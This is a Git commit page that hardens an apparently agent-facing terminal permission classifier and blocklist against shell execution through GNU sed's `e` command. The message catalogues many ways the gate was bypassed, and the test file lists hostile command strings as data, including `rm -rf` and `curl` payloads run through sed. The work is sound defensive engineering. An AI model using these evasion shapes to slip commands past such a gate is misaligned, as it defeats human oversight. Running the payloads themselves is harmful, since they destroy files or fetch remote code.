ceos/unsloth
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Gate the sed commands that run a shell (#7483)

Browse source 
* Gate the sed commands that run a shell

GNU sed executes a shell through its `e` command, both as a standalone
command (`sed -n '1e CMD' file`) and as an `s///e` flag that runs the
pattern space. It goes through popen(), so it is a literal `sh -c`, but
the terminal scan only ever saw `sed` at command position and treated the
program text as an ordinary argument.

That left `sed -n '1e rm -f victim' /etc/hosts` running with no prompt in
auto mode, and `_find_blocked_commands` returning nothing for it, so the
hard blocklist that applies in every mode missed `rm` as well.

Screens the program the same way the awk arm does. `-e` values are joined
with newlines first, since that is how sed assembles them: `sed -e '1a\'
-e 'e CMD'` appends a literal line and runs nothing, so judging the pieces
separately would prompt on a benign script. The scan then steps over every
region where `e` is data rather than a command: address and substitution
regexes, replacements, `a/i/c` text, `r`/`w` filenames, `b`/`t` labels and
comments. That keeps the common idioms silent, including `:e;N;$!be` loop
labels, `s/e/E/g`, and `s/a/b/we out.txt` where the `e` belongs to the `w`
filename and sed does not execute.

The blocklist scan recurses into a literal `e` payload the same way it
already does for `bash -c`. A bare `e` or an `s///e` can only be prompted,
since what they run is the pattern space, which is input-file text that is
not knowable statically.

Verified against real GNU sed 4.9 rather than the manual: 80 commands run
for real with a marker payload, comparing what sed actually executed
against the classifier, with no mismatches in either direction.

* Close five ways a sed program hid its shell payload

Review found five shapes the first pass missed. All five execute on GNU
sed 4.9, checked by running them rather than reading the manual.

A payload line ending in a backslash continues onto the next line, so the
scan now ends an `e` at an unescaped newline and unescapes the text the way
sed's read_text does. That is what resolves `r''m` back to `rm` for the
blocklist.

A sed comment ends at a real newline, but the terminal scan had already
replaced every newline with `;`, including newlines inside quotes, so
`# comment` swallowed the rest of the program. The sed arm now also sees a
variant where only unquoted newlines become separators, built on a
character-by-character quote scanner rather than a regex: an apostrophe in
a double-quoted word mis-pairs under a regex and inverts the state, which
opened a bypass while this was being written.

Everything attached to `-i` is a backup suffix, so reading `-ifoo` as an
attached `-f` lost the real script. Replaced the shared short-flag helper
with sed's own option grammar, which also fixes `-l 5` and
`--line-length 5` eating the script as their operand.

A sed child of `find -exec` was never recorded, so the blocklist skipped
its payload.

Substituted text splices straight into the program, and an address is as
good a place as any to open `;e CMD`, so a command substitution anywhere
in the program is treated as unresolvable. Scoped to the program: a
substitution in a file operand still runs, a `$(` or backtick inside single
quotes is literal, and parameter and arithmetic expansion are untouched.
The cost is that a substitution used to build a program now asks.

Bounding the -exec walk keeps the blocklist linear; without it a repeated
`-exec sed` line went quadratic.

Verified against real GNU sed across 103 commands run for real, no
mismatch in either direction.

* Fail closed on padded sed lines, and stop gating sed --sandbox

Four more from review, each checked by running it rather than reading the
manual.

The cap that keeps the argument walk linear was itself the bypass: padding
a line with 128 valid options pushes the script past it, and an empty
program read as proof the command only edits text. The budget is now shared
across the sed words on a line, so a lone sed reads its whole argument list
while a line packed with sed words keeps the floor that holds the walk
linear, and overflow fails closed instead of falling through.

The substitution scan counted parentheses without consulting quote state,
so a quoted paren in the substitution body left the span unterminated and
the program never matched. It now balances through the same quote scanner
used elsewhere, since a substitution body reopens quoting.

A wrapper between -exec and its child hid the child from the blocklist.
Following the wrapper also fixes the neighbouring blocked-name check, which
missed find . -exec env rm the same way. The wrapper's own name is still
screened: -exec sudo rm reports both.

sed --sandbox and --posix refuse e outright and exit 1, so gating them was
prompting for something that cannot run. They are now inert, except after
--, where the flag is an input filename and the script still executes.

env -u still hides a child from the blocklist, on this path and at top
level. That is pre-existing and left alone here.

* Resolve the sed program through find, wrappers, globs and variables

Five more from review, each run against real sed rather than read off the
manual.

find's -exec ends at + or ;, but the sed argument walk ran past it into the
next predicate, where a following -exec grep -e safe was read as sed's own
-e and discarded the real script. Stopping at the terminator also removes a
false prompt, since -exec was being parsed as -e xec and inventing a payload.

Hopping a wrapper skipped its name but not an option that takes a separate
operand, so env -u FOO sed returned FOO as the child. The table this file
already keeps for wrapper options covers it, moved up so both layers share
it. That also settles the top level: env -u PATH rm -rf x now reports rm,
as do env --unset, stdbuf -o L and xargs -I {}. Two false positives go with
it, timeout -s KILL 5 rm blaming the signal name and env -u kill blaming a
variable name, while timeout -s KILL 5 kill -9 1 still reports kill.

A program held in a variable was invisible: the assignment regex stops its
value at whitespace, so a program containing a newline never entered the
map in any pass. Resolved at the token level instead, where the value is
already whole. Both the written and the resolved program are screened,
since either can hold the e.

A command-position glob that can resolve to sed is treated as sed. The
auto gate already asks about any unresolved command glob; this is for the
blocklist, which did not know the name.

Inside double quotes a backslash makes the next character literal, so
sed "s/\$(CC)/gcc/" runs no substitution and should never have asked. The
quote scanner now reports an escaped character under its own state.

Left open: on Windows the blocklist lexer keeps quoting in its tokens, so
a multiline program held in a variable resolves there but not to a name
the blocklist reads. The prompt still fires on every platform.

* Ask when the sed program is not a literal we can read

Two from review, and the second one changes the default rather than adding
another case.

sed --sandbox and --posix were being read as disabling e for the whole
invocation. They disable exactly the scripts written after them: sed
compiles each -e as that option is parsed, and the positional script only
after the option list, so sed -e '1e CMD' input --sandbox runs the payload
with no POSIXLY_CORRECT needed. Suppression is now positional. Reading
POSIXLY_CORRECT out of the command text was considered and dropped as
unsound, since export or an outer bash -c puts it somewhere the text does
not show.

A program built by a parameter transformation was invisible: only bare
$NAME and ${NAME} were resolved, so ${p#x } passed through untouched. Rather
than add operators one at a time, a program that still holds a live
expansion after resolution is treated as unreadable and asks. Unhandled
expansion forms are now safe by default instead of silent, which also
closes ${p%Z}, array elements, printf -v, read, and p=$(...) whose binding
shlex had been truncating to a bare $.

Arithmetic is collapsed rather than exempted. It can only ever evaluate to
an integer, so it cannot spell a sed command, but leaving it as written let
"$((c+1))e CMD" read as an append-text command that swallowed the payload.

The cost is that a double-quoted program holding an unassigned variable now
asks: sed "s/$OLD/$NEW/g" f. Measured at 24 of 169 realistic invocations,
all of that one shape. Exempting it would trade enumerating expansion
operators for enumerating assignment forms, and four of the bypasses above
sit outside the assignment pattern, so the blanket rule stays.

Left open: -f prog.sed is still unscreened, since the program is in a file.

* Decide where a sed scan stops by context, not by token text

Four from review, two of them exploiting fixes from earlier rounds.

Stopping the sed walk at a + or ; token read the text after shlex had
already removed its quoting, so a quoted file operand looked exactly like
a find terminator and the scan gave up before the -e that followed. sed
still compiles that -e, because getopt permutes. Termination is now decided
by token index: a separator counts only if it was unquoted, and + or ; only
while a find or fd exec action is open, which is the only place quoting
does not matter. The same shape works with & | ( ) and }, so all of them
are covered.

The assignment map kept the first binding for a name, but the shell uses
the most recent one before the command. Bindings are now ordered and only
those preceding a given sed are folded in, with a later one replacing an
earlier. A value that is not itself literal clears the name rather than
leaving the older literal standing, which would otherwise have dressed an
unread program up as a safe one.

Exhausting the wrapper budget under find -exec returned the same answer as
finding no child at all, so a long enough chain of wrappers hid whatever
followed. It now reports overflow and blocks the chain word. This was
hiding more than sed: the same shape hid a plain rm.

fd spells its exec flags -x, -X, --exec and --exec-batch, none of which
were routed into the nested scan. They are now, but only while a find or
fd word is in scope and no action is already open, so a -x that belongs to
a child command is left alone.

Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.

* Drop the words the shell removes before a command runs

Two from review, both verified to run for real.

A redirection is performed by the shell and never reaches the command, but
the words stayed in the token list and the first of them was taken for
sed's positional script, so the real one behind it was never read.
`sed </dev/null '1e touch MARKER' input` creates the file, and so do the
`>`, `2>`, `2>&1`, `&>`, `>|` and here-string spellings. Redirections are
now recognised as spans and skipped: the target may be glued on, be the
next word, or sit one further along when a punctuation character splits
the operator. A skip is honoured only where sed would take the word as an
argument, so a pending -e/-f/-l value is still read.

The same words also hid a command outright. `> out.txt rm -rf victim` and
`2>&1 rm -rf victim` both really delete, because the redirection target
was read as the command word and the rm behind it landed in argument
position, where the always-on blocklist does not look.

shlex emits a RUN of punctuation characters as one token, so bash's `|&`
matched no separator and a sed scan ran on into the NEXT command, taking
its `-e safe` for the real script and dropping the payload. Any token
built only from those characters now ends an invocation, and a quoted one
is excluded the same way a quoted `';'` already was.

The third item from that review, `-l N` eating the script as its length
operand, was already closed in 9a5cfddb.

Prompt rate is unchanged at 45 of 169 realistic invocations; this round
adds no new prompts.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Read a sed program from what the shell really hands it

Five from an independent review pass, each verified by executing it.

sed joins its -e and -f sources with newlines, but a source boundary also
closes a line continuation open across it. Reading every -e as one
uninterrupted text let an unreadable -f in the middle hide the piece
behind it: `sed -e '1a\' -f /dev/null -e 'e CMD' input` runs CMD while the
same line without the -f only appends text.

A program flag ahead of the positional script makes that word an input
file. One behind it does so only while getopt permutes, and
POSIXLY_CORRECT turns permutation off from outside the command text, so
the positional is now read as a script as well. The suppression that a
flag written first performs is unchanged.

xargs builds the argv of the command behind it, appending what it reads on
stdin and substituting it into an -I placeholder, so the program need not
be in the text at all. A sed whose program is empty or is only the
placeholder is failed closed. The ordinary idioms are untouched: their
program is present and the placeholder stands where the file goes.

Only a word that really changes shell state rebinds a program held in a
variable. An assignment-shaped argument, one inside a subshell and one
used as a command's environment prefix all leave the variable alone, and
recording them replaced a payload with a value bash never assigned. A
conditional assignment after && or || may or may not run, so it clears the
name rather than being guessed at.

Exec-flag forwarding now starts only at a command word. Any token spelled
fd or find used to turn it on, so a -x or -exec in the text after one was
read as an exec flag and its neighbour hard-blocked; `echo fd -x rm` and
`grep fd -x rm file` were refused outright. A command-position glob bash
resolves to find is still recognised.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* Judge a sed program against what getopt and find really do

Seven from review, each verified by executing it.

A redirection is removed wherever it stands, including where an option
value goes, so `sed -n -e >out '1e CMD' input` takes the word behind it as
the script. The skip is now honoured ahead of a pending value rather than
after it. The target of a detached redirection may itself look like an
option or a quoted operator, and the shell hands it to open() either way,
so `sed > --sandbox '1e CMD' input` and its `> ';'` twin no longer leave
that word standing as a sed flag or script. Only a bare operator is
refused, which is a malformed line.

A program flag written behind the positional script and the positional
itself are ALTERNATIVES, since permutation decides which sed compiles and
nothing in the text settles it. They were joined into one program, where an
unterminated command in the one swallowed the other: `-e safe` is an `s`
with delimiter `a` and no closing one, and it ate the payload behind it.
Each source is now scanned on its own.

find closes its batched form at `{} +` only, so a `+` anywhere else is an
ordinary argument it hands the child. Stopping at one threw away the script
behind it. The `;` spellings need no such test: a quoted `';'` and an
escaped `\;` reach find as the same word and it stops at either, which the
`;` twin of that line confirms by not executing.

An `-f` naming a stream (`-`, /dev/stdin, /dev/fd/N) takes the script off
stdin, which the same command line may well supply through a heredoc. That
is ignorance rather than safety, so the sed fails closed. A named program
file is unreadable in a different way and is unchanged.

bash expands the program word before sed is started, so in a directory
holding a suitably named file `sed *` runs whatever that file contains.
A program word carrying an unexpanded glob now fails closed. Quoted
programs expand nothing and a glob among the file operands is not the
program, so ordinary work is untouched.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep command position and quoting intact through the sed scan

Six from review, two of them regressions the previous commit introduced.

Scoping exec-flag forwarding to a command word lost that position at a
shell keyword and across a wrapper's own operands, so `if true; then find
. -exec rm ...` and the `env -u FOO find ...` and `timeout 5 find ...`
shapes stopped blocking rm entirely. Keywords now keep the position and
wrapper options and their operands are stepped over, the way the command
walk already does.

Reading any operator-shaped token as a separator did the opposite: a
QUOTED one is data the command receives, so `printf '%s' '|&' rm` and
`grep '|&' rm file` were refused although they run nothing. The walk now
applies the same quoted-index exclusion the layout pass does, which also
clears the older `printf '%s' ';' rm` false positive.

ANSI-C decoding flattened the word's whitespace, and a sed program ends
its comment at exactly the newline that flattening destroyed. The decoded
text is re-quoted instead, keeping the spaces and the `#` around it, with
the newline standing as a mark so it stays data for whatever command
receives it rather than a place a new one begins.

An assignment inside a function body has not run and may never run, so it
is no longer recorded as the current value; the name is cleared instead,
which is right whether or not the function is later called.

An `-f` taking a process substitution is a generated /dev/fd/N script, and
the lexer ends the invocation at the `(` before the operand is read at
all. A still-pending program operand now fails the sed closed.

Live expansions were compared against the raw command spelling while the
sed program carried the post-lex one, so an escaped expansion read as
already resolved. Both sides are keyed without their escaping, which can
only make a spelling match and so errs closed.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Read the sed program from the word the shell actually passes

Six from review, four of them bypasses and two false alarms.

find rewrites `{}` with the pathname it found before the child ever starts,
so a sed whose whole program is that placeholder was never read. Nested
under xargs it really runs whatever a suitably named file contains. A `{}`
among the file operands, which is the ordinary idiom, is not the program
and is untouched.

A quoted redirection is a word the command receives rather than something
the shell performs, and it was being removed either way, so a `-f` script
file named `>prog` disappeared and took the `-e` behind it out of view.
Quoting is now read from the operator the token opens with, which leaves
`2>'/dev/null'` a redirection with a quoted target.

An apostrophe in an ANSI-C word sent it down the flattening path, which
destroys the newline a sed comment ends at. The apostrophe is re-quoted
the way a shell does it instead.

fd takes the command attached to its short exec option, and only the exact
`-x` and `-X` spellings opened an action, so `-xrm` reached neither layer.
Conversely nothing behind a bare `--` is an option at all, and reading one
there refused `fd -- -x rm`, which merely lists a file.

The set of live expansions covers the whole command, so matching a sed
program against it by text alone attributed an expansion another command
performs to a program that only spells the same thing. Which occurrence it
was decides it now, and single quoting keeps its meaning while double
quoting does not.

Prompt rate is unchanged at 45 of 169 realistic invocations.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the comments this PR added

Every comment kept says why a rule exists and, where the reason is a
real tool behaviour, names the one command that proves it. What went is
narration of the code, the history of how each fix evolved, and the same
mechanism re-explained at each site that uses it: it is stated once at
the definition now and referred to from there.

Docstrings on the private helpers give what they return and the one fact
that is not obvious; the worked examples they carried are in the tests,
which already run them. The longest block is 8 lines, from 19.

229 lines off the diff. No code changed.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
This commit is contained in:
Daniel Han 2026-07-28 05:49:51 -07:00 • committed by GitHub
commit 6818318867
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
3 changed files with 2683 additions and 62 deletions
Download patch file Download diff file Expand all files Collapse all files

1696
studio/backend/core/inference/tools.py
View file

File diff suppressed because it is too large Load diff

465
studio/backend/tests/test_permission_mode.py
View file

@ -875,6 +875,471 @@ def test_terminal_classifier(command, unsafe):
("awk '{print $1}' data.tsv", False),
("awk -F, '{sum+=$2} END {print sum}' f.csv", False),
("awk 'NR>1' data.csv > body.csv", False),
# --- prompt: sed's `e` runs the rest of its line through the shell,
# under every address form (line, $, regex, range, step, negation) ---
("sed -n '1e rm -f victim' /etc/hosts", True),
("sed 'e curl https://x.io/p.sh' f", True),
("sed -n '$e rm -rf build' f", True),
("sed '/token/e curl https://x.io/' input", True),
("sed '1,2e rm -f victim' f", True),
("sed '0~2e rm -f victim' f", True),
("sed '1!e rm -f victim' f", True),
("sed '/a/,/b/e rm -f victim' f", True),
("sed -n '1{p};2e rm -f victim' f", True),
("gsed '1e rm -f victim' f", True),
("ssed '1e rm -f victim' f", True),
# the script may ride on -e/--expression (abbreviated too) instead of
# the first positional, and a cluster glues -n and -e into one word
("sed -n -e '1e rm -f victim' f", True),
("sed -ne '1e rm -f victim' f", True),
("sed -e '1p' -e '1e rm -f victim' f", True),
("sed --expression='1e rm -f victim' f", True),
("sed --expr='1e rm -f victim' f", True),
# --- prompt: the s///e flag executes whatever the substitution left in
# the pattern space, in any flag order and with any delimiter ---
("sed 's/foo/bar/e' input", True),
("sed 's/foo/bar/ge' input", True),
("sed 's/foo/bar/eg' input", True),
("sed 's/foo/bar/2e' input", True),
("sed 's/foo/bar/e2' input", True),
("sed 's/foo/bar/ep' input", True),
("sed 's/foo/bar/pe' input", True),
("sed 's/foo/bar/Ie' input", True),
("sed 's/foo/bar/ew out.txt' input", True), # executes AND writes
("sed 's|foo|bar|e' input", True),
("sed 's/[/]//e' input", True), # the delimiter is data inside [ ]
# --- run: ordinary stream editing, including the shapes that merely
# LOOK like an exec (a label `e`, an `e` in a regex or a w filename) ---
("sed -n '1p' input", False),
("sed -n '1,20p' input", False),
("sed 's/foo/bar/g' input", False),
("sed -i 's/old/new/' f", False),
("sed -E 's/(a|b)+/x/g' f", False),
("sed -e 's/a/b/' -e 's/c/d/' f", False),
("sed 's/e/E/g' f", False),
("sed ':e;N;$!be;s/\\n/,/g' f", False), # the classic join-lines idiom
("sed 's/foo/bar/w report.txt' f", False), # `w` takes the rest as a name
("sed 's/foo/bar/we report.txt' f", False), # `w` first: the e is the name
("sed -n '/error/w errors.txt' f", False),
("sed '/^$/d' f", False),
("sed 'y/abc/xyz/' f", False),
("sed -n '/error/=' log", False),
("sed -f cleanup.sed data.txt", False), # a program FILE, like awk -f
("sed -e 's/a/b/' e", False), # `e` here is an input file, not a command
("sed -e '1a\\' -e 'echo appended' f", False), # a\ continues into -e
("echo \"sed '1e rm -f victim'\"", False),
("printf '%s' sed '1e rm -f victim'", False),
# --- prompt: an `e` payload ending in a backslash continues onto the
# NEXT line, which sed hands to the same shell ---
("sed -n '1e\\\nrm -f victim' f", True),
("sed -n '1e touch a\\\nrm -f victim' f", True),
("sed 'e r\\m -f victim' f", True), # the backslash drops, rm still runs
("sed -e 'e\\' -e 'rm -f victim' f", True),
# --- prompt: a sed comment ends at a real NEWLINE, not at a `;`, so an
# `e` on the line after one is a command, not comment text ---
("sed '# harmless\ne rm -f victim' input", True),
("sed '#c1\n#c2\ne rm -f victim' input", True),
("sed 's/a/b/w out.txt\ne rm -f victim' input", True), # w name ends too
("sed '1r notes.txt\ne rm -f victim' input", True),
("sed '1a hello\ne rm -f victim' input", True),
("sed '# harmless;e rm -f victim' input", False), # one long comment
("sed '# harmless\np' input", False),
# --- prompt: everything glued to -i is the backup SUFFIX, so the script
# is still the positional ahead; likewise -l/--line-length take an
# operand that is not the script ---
("sed -ifoo '1e rm -f victim' input", True),
("sed -itemp '1e rm -f victim' input", True),
("sed -ni.bak '1e rm -f victim' input", True),
("sed -ieBAK -e 'e rm -f victim' input", True),
("sed -l 5 '1e rm -f victim' input", True),
("sed -l5 '1e rm -f victim' input", True),
("sed -le 'e rm -f victim' input", True),
("sed --line-length 5 '1e rm -f victim' input", True),
("sed --l 5 '1e rm -f victim' input", True),
("sed --in-place=foo '1e rm -f victim' input", True),
("sed -i.bak 's/x/y/' f", False),
("sed -ifoo 's/x/y/' f", False),
("sed -l 80 's/x/y/' f", False),
("sed --line-length=80 -n '1,20p' f", False),
# --- prompt: sed under find -exec / xargs runs for real ---
("find . -exec sed '1e rm -f victim' {} +", True),
("find . -execdir sed '1e rm -f victim' {} \\;", True),
("xargs sed '1e rm -f victim'", True),
("find . -exec sed -n '1,3p' {} +", False),
("find . -exec sed -i.bak 's/a/b/' {} +", False),
# --- prompt: a program the SHELL generates is not knowable here, since
# sed splices the output into the script text ---
("sed \"$(printf 'e rm -f victim')\" input", True),
('sed "$(cat prog.sed)" input', True),
('sed -n "1,$(wc -l < f)p" f', True), # bounded cost of failing closed
# a substitution outside the program, and a literal `$(`/backtick inside
# single quotes, are not a generated program
("sed -n '1,3p' $(ls)", False),
("sed 's/`//g' NOTES.md", False),
("sed 's/$(x)/y/' f", False),
# an apostrophe inside a DOUBLE-quoted word must not be paired with the
# next quote: doing so hid a real generated program, and mis-read a
# single-quoted one as generated
('echo "it\'s"; sed "$(printf \'e rm -f victim\')" f', True),
('echo "it\'s"; sed "$(printf \'e rm -f x\')" f; echo "that\'s"', True),
("echo \"don't\" && sed 's/$(x)/y/' f", False),
("echo \"don't\" && sed 's/`//g' NOTES.md", False),
# `\'` inside ANSI-C quoting is a quote character, not the end of the
# word, so the tracker must not invert from there on
("sed -e $'s/\\'\\'/X/' -e \"$(cat prog.sed)\" f", True),
# the substitution has to reach the PROGRAM: one that only builds file
# operands leaves a program the scan can still read in full
("sed -i 's/$(CC)/gcc/' $(git ls-files '*.mk')", False),
("sed 's/`//g' $(ls *.md)", False),
# a paren the substitution QUOTES is text to the nested shell, so it must
# not raise the depth of the span: counting it left the closing `)`
# unmatched and dragged the following words in, and the text then no
# longer matched the program it had to be found inside
("sed \"$(printf '(' >/dev/null; printf 'e rm -f victim')\" input", True),
("sed \"$(printf ')' >/dev/null; printf 'e rm -f victim')\" input", True),
("sed \"$(printf '()' >/dev/null; printf 'e rm -f victim')\" input", True),
# --- prompt: padding the options cannot push the script past the scan
# window, because a lone sed reads its whole argument list ---
("sed " + "-n " * 128 + "'1e rm -f victim' input", True),
("sed " + "-n " * 300 + "'1e rm -f victim' input", True),
("sed " + "-n " * 128 + "-e '1e rm -f victim' input", True),
("sed " + "-n " * 128 + "-n '1,3p' input", False),
("sed " + "-n " * 300 + "'1,3p' input", False),
# --- prompt: a command prefix forwards -exec to its target, so the sed
# behind env/timeout/nice is the process find really runs ---
("find . -exec env sed '1e rm -f victim' {} +", True),
("find . -exec timeout 5 sed '1e rm -f victim' {} +", True),
("find . -exec nice sed '1e rm -f victim' {} +", True),
("find . -exec env A=b sed '1e rm -f victim' {} +", True),
("find . -execdir env sed '1e rm -f victim' {} \\;", True),
("find . -exec env sed -n '1,3p' {} +", False),
("find . -exec env sed -i.bak 's/a/b/' {} +", False),
# --- run: --sandbox and --posix make GNU sed REFUSE e / s///e / a bare
# `e` and exit 1, so nothing reaches a shell and prompting was a false
# alarm. An unambiguous abbreviation (--sa, --p) is the same option ---
("sed --sandbox '1e rm -f victim' input", False),
("sed --posix '1e rm -f victim' input", False),
("sed --sandbox --posix '1e rm -f victim' input", False),
("sed --sa '1e rm -f victim' input", False),
("sed --p '1e rm -f victim' input", False),
("sed --sandbox -e '1e rm -f victim' input", False),
("sed --sandbox --expression='1e rm -f victim' input", False),
("sed --sandbox 's/aaa/rm -f victim/e' input", False),
("sed --posix '1s/.*/rm -f victim/;1e' input", False),
("sed --sandbox -- '1e rm -f victim' input", False),
# ...but only for the scripts written AFTER it: sed compiles each -e as
# that option is parsed, so `sed -e '1e touch MARKER' --sandbox input`
# creates MARKER
("sed -e '1e rm -f victim' --sandbox input", True),
("sed -e '1e rm -f victim' input --sandbox", True),
("sed --expression='1e rm -f victim' --sandbox input", True),
("sed -e 's/aaa/rm -f victim/e' input --sandbox", True),
("sed -e '2d' --sandbox -e '1e rm -f victim' input", False),
("sed -e '1e rm -f victim' --sandbox -e '2d' input", True),
# One after the POSITIONAL script suppresses only while getopt permutes,
# and POSIXLY_CORRECT turns that off from outside the command text, so a
# later flag never counts: `POSIXLY_CORRECT=1 sed '1e touch MARKER'
# input --sandbox` creates MARKER
("sed '1e rm -f victim' --sandbox input", True),
("sed '1e rm -f victim' input --sandbox", True),
("sed '1e rm -f victim' input --posix", True),
("POSIXLY_CORRECT=1 sed '1e rm -f victim' input --sandbox", True),
("env POSIXLY_CORRECT=1 sed '1e rm -f victim' input --sandbox", True),
("sed -n '1,3p' input --sandbox", False),
("sed 's/a/b/g' input --posix", False),
# `--` ends option parsing, so a --sandbox behind it is an input FILE
("sed -- '1e rm -f victim' input --sandbox", True),
("sed '1e rm -f victim' -- input --sandbox", True),
("sed -e '1e rm -f victim' -- input --sandbox", True),
# an ambiguous (--s is silent/separate/sandbox) or `=`-carrying spelling
# is a usage error rather than the mode, so it keeps asking
("sed --s '1e rm -f victim' input", True),
("sed --sandbox=1 '1e rm -f victim' input", True),
# --- run: a newline BETWEEN commands still separates them, so the
# segment-scoped checks must not read the next line's words as
# arguments of this one ---
("git checkout main\nls", False),
("git checkout main\nnpm test", False),
("git checkout -b feature\ngit status", False),
("git checkout v1.0\npython3 setup.py build", False),
("export PATH=/usr/local/bin:$PATH\nmake", False),
("IFS=,\nread a b c", False),
("cd build\nmake -j4", False),
("git checkout HEAD notes.txt\nls", True), # still a real pathspec
# --- prompt: the sed program has to be a literal this scan actually
# READ. A parameter transformation is not one, and there are too many
# of them to model one at a time, so an unread program asks instead of
# being assumed to only edit text (verified: `p='x 1e touch MARKER';
# sed "${p#x }" input` creates MARKER) ---
("p='x 1e rm -f victim'; sed \"${p#x }\" input", True),
("p='1e rm -f victimZ'; sed \"${p%Z}\" input", True),
("p='1X rm -f victim'; sed \"${p/X/e}\" input", True),
('sed "${nope:-1e rm -f victim}" input', True),
("p='XX1e rm -f victim'; sed \"${p:2}\" input", True),
("real='1e rm -f victim'; ref=real; sed \"${!ref}\" input", True),
("arr=('1e rm -f victim'); sed \"${arr[0]}\" input", True),
("printf -v p '1e rm -f victim'; sed \"$p\" input", True),
("read -r p <<< '1e rm -f victim'; sed \"$p\" input", True),
# a non-literal value is no resolution either: substituting the bare
# `$` the lexer leaves dressed an unread program up as a literal
("p=$(printf '1e rm -f victim'); sed \"$p\" input", True),
# the one shape that pays for failing closed, and it is genuinely
# unread: a hostile value breaks out of the `s///` it sits in (verified
# with OLD='x/y/;1e touch MARKER;s/a')
('sed "s/$old/$new/g" f', True),
('sed -n "1,${n}p" f', True),
('sed "/$pattern/d" f', True),
('sed -i "s|$src|$dst|" f', True),
# ...but only where the expansion lands in the PROGRAM, and only when
# the shell really runs it
('sed -n "1,3p" $file', False),
("sed -i 's/foo/bar/' $(git ls-files '*.py')", False),
("sed 's/${HOME}/~/' f", False),
('sed "s/x$/y/" f', False), # `$` before `/` is sed's anchor, not bash
('sed "$ d" f', False), # `$` before a space is literal to bash too
# arithmetic evaluates to an INTEGER, so it can spell no sed command
# (`x=e; echo $((x))` prints 0) and ordinary line maths stays silent...
('sed -n "1,$((n + 1))p" f', False),
('sed -n "1,$[n + 1]p" f', False),
# ...but its own punctuation must not hide the command behind it: the
# raw text reads `$((c+1))e rm` as a `c` append-text command that eats
# the payload, while real sed runs rm (`$((c+1))` is 1)
('sed "$((c+1))e rm -f victim" input', True),
('sed "$[c+1]e rm -f victim" input', True),
('sed "$((4/2))e rm -f victim" input', True),
# one holding a command substitution is not collapsed away, so the
# generated program is still seen
('sed "$(( $(printf 1) ))e rm -f victim" input', True),
# --- a find action is COMPLETE at its terminator, so the sed argument
# scan stops there. Running past it read the next predicate's `-e safe`
# as the sed program and threw away the real script ---
("find . -exec sed '1e rm -f victim' {} + -exec grep -e safe {} +", True),
("find . -exec grep -e safe {} + -exec sed '1e rm -f victim' {} +", True),
("find . -exec sed '1e rm -f victim' {} \\; -exec grep -e safe {} \\;", True),
("find . -exec sed -n '1,3p' {} + -exec grep -e safe {} +", False),
("find . -exec sed -i.bak 's/a/b/' {} + -exec chmod 644 {} +", False),
# ...but ONLY inside one. shlex strips the quoting, so a sed FILE
# operand spelled `';'` arrives as the token a real separator does, and
# stopping there discarded the `-e` behind it (verified:
# `sed -n ';' -e '1e touch MARKER' input` creates MARKER)
("sed -n ';' -e '1e rm -f victim' input", True),
("sed -n '+' -e '1e rm -f victim' input", True),
("sed ';' -e '1e rm -f victim' input", True),
("sed '+' -e '1e rm -f victim' input", True),
("sed -n '&' -e '1e rm -f victim' input", True),
("sed -n '|' -e '1e rm -f victim' input", True),
("sed -n '(' -e '1e rm -f victim' input", True),
("sed -n ';' -e '1,3p' input", False),
("sed -n '+' -e '1,3p' input", False),
("sed ';' -n '1,3p' input", False),
# a BARE separator still ends the invocation, so the next command's
# words are not read as more sed arguments
("sed -n '1,3p' input; grep -e safe input", False),
# --- prompt: a redirection is performed and REMOVED by the shell, so
# sed never receives those words. Leaving them in place made the first
# of them the positional script and the real one went unread. Verified
# on GNU sed 4.9: every form below creates MARKER with a `touch MARKER`
# payload ---
("sed </dev/null '1e rm -f victim' input", True),
("sed < /dev/null '1e rm -f victim' input", True),
("sed > out.txt '1e rm -f victim' input", True),
("sed 2>/dev/null '1e rm -f victim' input", True),
("sed 2>&1 '1e rm -f victim' input", True),
("sed &>out.txt '1e rm -f victim' input", True),
("sed >|out.txt '1e rm -f victim' input", True),
("sed <<< 'aaa' '1e rm -f victim'", True),
# --- run: the same redirections around ordinary stream editing ---
("sed -n '1,3p' input > out.txt", False),
("sed 's/a/b/g' input 2>/dev/null", False),
("sed -n '1,3p' < input", False),
("sed -n '1,3p' </dev/null input", False),
# --- prompt: punctuation_chars emits a RUN of operator characters as
# one token, so bash's `|&` matched no separator and the scan ran on
# into the next command, taking ITS `-e` value for the real script ---
("sed '1e rm -f victim' input |& grep -e safe", True),
("sed -n '1,3p' f |& sed -e '1e rm -f victim' g", True),
# ...while a quoted one is a sed FILE operand and must not end the scan
("sed -n '|&' -e '1e rm -f victim' input", True),
# --- run: benign pipelines through the same operator ---
("sed -n '1,3p' input |& grep -e safe", False),
("grep -r pattern . |& head -5", False),
# --- prompt: a -f script SOURCE closes any continuation open across it,
# so an unreadable one in the middle no longer hides the piece behind it
# (verified: with the -f the payload runs, without it it does not) ---
(r"sed -e '1a\' -f /dev/null -e 'e rm -f victim' input", True),
(r"sed -e '1a\' --file=/dev/null -e 'e rm -f victim' input", True),
(r"sed -e '1a\' -e 'e rm -f victim' input", False),
# --- prompt: a program flag written BEHIND the positional script only
# demotes it while getopt permutes, and POSIXLY_CORRECT turns that off
# from outside the command text ---
("sed '1e rm -f victim' input -f /dev/null", True),
("sed '1e rm -f victim' input -e p", True),
# --- run: a flag written FIRST really does make the positional a file ---
("sed -e p '1e rm -f victim' input", False),
("sed -f /dev/null '1e rm -f victim' input", False),
("sed p data.txt -e q", False),
# --- prompt: xargs builds the argv from stdin or an -I placeholder, so
# the sed program need not be in the text at all ---
(r"printf '1e rm -f victim\0input\0' | xargs -0 sed", True),
(r"printf '1e rm -f victim\n' | xargs -I{} sed '{}' input", True),
(r"printf 'x\n' | xargs --replace=R sed 'R' input", True),
